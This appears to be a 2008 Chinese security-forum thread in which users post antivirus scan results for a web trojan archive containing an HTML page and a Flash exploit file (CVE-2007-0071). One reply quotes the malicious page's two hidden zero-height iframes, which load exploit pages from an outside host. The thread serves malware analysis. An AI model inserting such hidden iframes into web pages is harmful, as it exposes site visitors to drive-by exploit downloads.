2

VISN

网页木马

nosferatu

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\Downloads.rar'
C:\Documents and Settings\Administrator\桌面\Downloads.rar
  [0] Archive type: RAR
  --> d5.html
      [DETECTION] Contains detection pattern of the HTML script virus HTML/IFrame.UX
    --> i45.swf
      [1] Archive type: SWC
      --> Object
          [DETECTION] Contains detection pattern of the exploits EXP/Flash.Gen
      [NOTE]      The file was deleted!

killloop

VirSCAN.org Scanned Report :
Scanned time   : 2008/06/16 07:04:25 (CST)
Scanner results: 33%的杀软(12/36)报告发现病毒
File Name      : Downloads.rar
File Size      : 2086 byte
File Type      : RAR archive data, v1d, os
MD5            : f7c6b2de5ea5aecf526822ac3a9a54f3
SHA1           : 13c01519ba5907f5b3ff3b154ce48b761524d76e
Online report  : http://virscan.org/report/b5b0b6e2c874e5a23708ef857fbd9463.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      3.5.0.18        2008.06.15        2008-06-15  4.85   -
安博士V3       2008.06.15.00   2008.06.15        2008-06-15  2.22   -
AntiVir        7.8.0.55        7.0.4.197         2008-06-15  14.85  EXP/Flash.Gen
Arcavir        1.0.4           200806151533      2008-06-15  7.75   Trojan.Exploit.Swf.Downloader.Bd
AVAST          1.0.8           080615-0          2008-06-15  12.53  SWF:CVE-2007-0071 [Expl]
AVG            7.5.51.442      270.3.0/1500      2008-06-12  9.94   -
BitDefender    7.60825.1260912 7.19537           2008-06-16  17.92  Exploit.SWF.Gen
CA (VET)       9.0.0.143       31.6.5873         2008-06-14  11.76  -
ClamAV         0.93            7484              2008-06-16  0.01   -
Comodo         2.11            2.0.0.556         2008-06-15  2.56   -
CP Secure      1.1.0.715       2008.06.15        2008-06-15  21.76  Troj.Downloader.JS.Agent.x.gen
Dr.WEB         4.44.0.9170     2008.06.15        2008-06-15  21.47  -
ewido          4.0.0.2         2008.06.15        2008-06-15  4.57   -
F-PROT         4.4.1.52        20080614          2008-06-14  7.18   -
F-SECURE       5.51.6100       2008.06.15.02     2008-06-15  19.01  Exploit.SWF.Downloader.bd [AVP]
飞塔           2.81-3.11       9.203             2008-06-15  2.63   -
ViRobot        20080613        2008.06.13        2008-06-13  0.99   -
IKARUS         T3.1.01.26      2008.06.15.70921  2008-06-15  10.04  -
江民杀毒       11.0.706        2008.06.14        2008-06-14  2.21   Exploit.CVE-2007-0071
卡巴斯基       5.5.10          2008.06.15        2008-06-15  28.72  Exploit.SWF.Downloader.bd
金山毒霸       2008.1.14.15    2008.6.15.15      2008-06-15  1.86   -
迈克菲         5.2.00          5317              2008-06-13  8.57   -
Microsoft      1.3604          2008.06.16        2008-06-16  8.21   Exploit:Win32/APSB08-11.gen!A
MKS_VIR        2.01            2008.06.15        2008-06-15  6.31   -
NORMAN         5.92.08         5.92.00           2008-06-13  23.06  -
熊猫卫士       9.04.03.0001    2008.06.15        2008-06-15  3.17   -
趋势           8.700-1004      5.344.32          2008-06-15  0.04   -
Prevx          V2              20080616          2008-06-16  4.42   -
QuickHeal      9.00            2008.06.14        2008-06-14  1.24   -
瑞星           20.0            20.48.62.00       2008-06-15  1.49   Hack.Exploit.Swf.a
SOPHOS         2.74.1          4.30              2008-06-16  8.30   Troj/SWFDlDr-D
赛门铁克       1.3.0.24        20080609.003      2008-06-09  0.02   -
nProtect       2008-06-13.00   1543807           2008-06-13  6.04   Trojan.Agent.AINO
The Hacker     6.2.92          v00350            2008-06-14  1.22   -
VBA32          3.12.6.7        20080613.1826     2008-06-13  3.86   -
VirusBuster    4.3.19:9        9.132.4/11.0      2008-06-15  3.72   -

莫忘

不只一个网马 呵呵
<iframe src=http://user1.fafa29.cn/14.htm width=100 height=0></iframe>
<iframe src=http://user1.fafa29.cn/fx.htm width=100 height=0></iframe>
完了貌似还是flash的oday漏洞来。、  不过貌似这漏洞没用

莫忘

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1611772.js"></script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1937730.js"></script>

电影结束了

对象: d5.html (JAVASCRIPT 1)
        在压缩档案里: F:\virus\Downloads.rar
        Status: 已发现病毒
        病毒: Trojan.Agent.AINO (BD 引擎)
对象: i45.swf
        在压缩档案里: F:\virus\Downloads.rar
        Status: 已发现病毒
        病毒: Exploit.SWF.Gen (BD 引擎)

allinwonderi

[Scanning : C:\Documents and Settings\All Users\Documents\Test]


C:\Documents and Settings\All Users\Documents\Test\Downloads.rar<RAR>:i45.swf <- Trojan.Exploit.Swf.Downloader.Bd : No action



Scanned objects : 3

Infected objects : 1

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Hack.Exploit.Swf.a      

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.49.02

尽在不言中

kis2009全杀